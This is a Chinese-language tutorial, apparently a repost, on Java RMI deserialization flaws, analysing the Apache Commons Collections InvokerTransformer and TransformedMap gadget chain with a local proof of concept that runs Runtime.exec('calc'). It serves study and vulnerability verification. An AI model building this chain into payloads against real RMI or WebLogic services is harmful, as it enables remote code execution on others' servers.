1. 程式人生 > >Java RMI & 反序列化 詳細介紹

Java RMI & 反序列化 詳細介紹

Java RMI 一直只是知道,瞭解過,還是很迷,耐心看了一篇文章,瞭解了RMI究竟是什麼(雖然都知道他是遠端呼叫用到的) ,還有大致的利用思路。 因為沒辦法複製圖片,後邊的直接看上邊的文章把。

----------------------------------------

背景

之前在某個專案的漏洞核查中,發現客戶的某個伺服器存在JAVA RMI反序列化遠端命令執行漏洞,當時手頭沒有相應的利用工具,就在網上找了一個廣為使用的ysoserial利用工具【Download】。但是使用過程中發現,這個工具不具有回顯功能,使用者伺服器又是處於內網環境而且是windows機器,所以使用這個工具無法驗證該漏洞是否存在。
另外,在其他專案中也發現,一些安裝了weblogic中介軟體的伺服器,如果在weblogic服務中啟用了T3協議,且存在有缺陷的第三方庫apache commons-collections,從而也存在反序列化引起的RCE漏洞(CVE-2015-4852)。
然後我決定對這個工具進行修改,在研究過程中,發現這個漏洞並不簡單,從ysoserial這個工具的payload就可以看出來,雖然漏洞名稱都是JAVA RMI反序列化漏洞,但是成因卻不盡相同。
本文將對關於該漏洞的資料進行整合和分析,以及通過一些本地環境的搭建對漏洞進行復現,特別是針對常見的apache commons-collections第三方庫存在的漏洞進行原因分析。
結尾有福利。
原理

    RMI是REMOTE METHOD INVOCATION的簡稱,是J2SE的一部分,能夠讓程式設計師開發出基於JAVA的分散式應用。一個RMI物件是一個遠端JAVA物件,可以從另一個JAVA虛擬機器上(甚至跨過網路)呼叫它的方法,可以像呼叫本地JAVA物件的方法一樣呼叫遠端物件的方法,使分佈在不同的JVM中的物件的外表和行為都像本地物件一樣。
    對於任何一個以物件為引數的RMI介面,你都可以發一個自己構建的物件,迫使伺服器端將這個物件按任何一個存在於class path中的可序列化類來反序列化。
    RMI的傳輸100%基於反序列化。

首先,該漏洞存在需要兩個條件:1.存在反序列化傳輸。2.存在有缺陷的第三方庫如commons-collections

在《Java RMI遠端反序列化任意類及遠端程式碼執行解析(CVE-2017-3241 )》一文中,提到需要在伺服器端的類路徑中,存在一個名稱公開已知的類,這個類需要實現java的Serializable介面,而且自己實現了一個readObject方法。顯然,類似apache的commons-collections這樣的第三方庫的程式碼是開源的,我們很容易可以知道一個滿足上述條件的類名。但是,這篇文章所描述的漏洞比我們所要討論的範圍更加廣,是針對任意類的反序列化和RCE漏洞,而且漏洞成因不通,CVE-2017-3241漏洞出現的原因是java本身的原因(sun.rmi.server.UnicastRef類中),而我們所要研究的漏洞是第三方庫有缺陷所造成的。
以commons-collections第三方庫為例:

    Both versions 3.2.1 and 4.0 of the Apache Commons Collections library have been identified as being vulnerable to this deserialization issue.

下載commons-collections的3.2.1版本原始碼進行研究【Download】,在InvokerTransformer類中(位於commons-collections-3.2.1-src\src\java\org\apache\commons\collections\functors),可以使用其中的transform方法通過反射執行引數物件中的某個方法。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
@SuppressWarnings({"rawtypes", "unchecked"})
public class test {
    public static void main(String[] args) {
    Transformer transform = new InvokerTransformer("append",
            new Class[]{String.class},
            new Object[]{"exploitcat?"});
    Object newObject = transform.transform(new StringBuffer("your name is ")) ;
    System.out.println(newObject);    
    }
}

在上述程式碼中,首先例項化了一個Transformer物件transform,InvokerTransformer類的建構函式如下:

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)
    {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

第一個引數append是方法名,第二個引數是引數型別,第三個引數是引數值。然後我們呼叫transform物件的transform方法,
 

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

這樣,相當於我們執行了

StringBuilder a=new StringBuilder("your name is ");
    a.append("exploitcat?");

輸出為 your name is exploitcat?
這樣,我們就需要commons-collections中存在一個呼叫了InvokerTransformer的transform方法的類,它就是TransformerMap。這個檔案位於commons-collections-3.2.1-src\src\java\org\apache\commons\collections\map中,在該類中,實現了Serializable介面,有自己的readObject方法:

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        map = (Map) in.readObject();
    }

另外,這個類中存在一個靜態的方法decorate:

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

這個方法返回一個TransformerMap物件:

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

利用一段示例程式碼來演示如何使用TransformerMap類來執行命令:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.Map;
import java.util.HashMap;
public class TransformTest {
    public static void main(String[] args) {
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
            new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
            new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class},
            new Object[]{"calc"})
    };
    Transformer chain = new ChainedTransformer(transformers) ;
    Map innerMap = new HashMap() ;
    innerMap.put("name", "hello") ;
    Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;
    Map.Entry elEntry = (java.util.Map.Entry)outerMap.entrySet().iterator().next() ;
    elEntry.setValue("hello") ;
    }
}

首先,例項化一個Transformer陣列,這個陣列把我們要執行的程式碼分散到多個Transformer物件中,實際上就相當於:

try {
        Runtime.getRuntime().exec("calc");
    } catch (IOException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    }

然後把Transformer陣列組合成為一個ChainedTransformer物件:

Transformer chain = new ChainedTransformer(transformers) ;

然後用TransformerMap的decorate函式來包裝一個原生的Map物件innerMap:

Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;

在這行程式碼:elEntry.setValue("hello") ;中,首先執行outerMap的setValue方法,這個方法繼承自MapEngry類(位於commons-collections-3.2.1-src\src\java\org\apache\commons\collections\map\AbstractInputCheckedMapDecorator.java),將會呼叫父類的方法:

public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }

然後呼叫將呼叫TransformerMap中的checkSetValue方法:

    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

可以看到,在這裡呼叫了transform方法來觸發我們的程式碼。
如果執行這個程式,將會彈出計算器